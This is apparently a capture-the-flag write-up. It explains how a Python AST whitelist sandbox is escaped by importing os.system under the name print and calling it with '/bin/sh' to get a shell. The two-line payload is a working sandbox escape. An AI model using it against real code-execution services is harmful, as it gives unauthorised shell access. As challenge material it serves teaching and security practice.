Solution
The program allows you to write a Python program to be executed. It checks the AST of the program and only the print function is allowed to be called.
WHITELIST_NODES = [
    ast.Expression,
    ast.Expr,
    ast.Num,
    ast.Name,
    ast.Constant,
    ast.Load,
    ast.BinOp,
    ast.Add,
    ast.Sub,
    ast.Module,
    ast.Mult,
    ast.Div,
    ast.Assign,
    ast.Store
]
​
WHITELIST_FUNCTIONS = [
    "print"
]
​
...
​
def check_code_security(code):
    # Decode for parser
    s = code.decode(errors="ignore")
    tree = ast.parse(s, mode='exec')
    for node in ast.walk(tree):
        if type(node) not in WHITELIST_NODES:
            if type(node) == ast.Call and node.func.id not in WHITELIST_FUNCTIONS:
                raise ValueError("Forbidden code used in type '{}'. NOT allowed!".format(type(node)))
But note that module imports are allowed. We can simply import a function as print to bypass this filter.
from os import system as print
print('/bin/sh')
After getting a shell, we can find the flag in /opt/flag.txt.
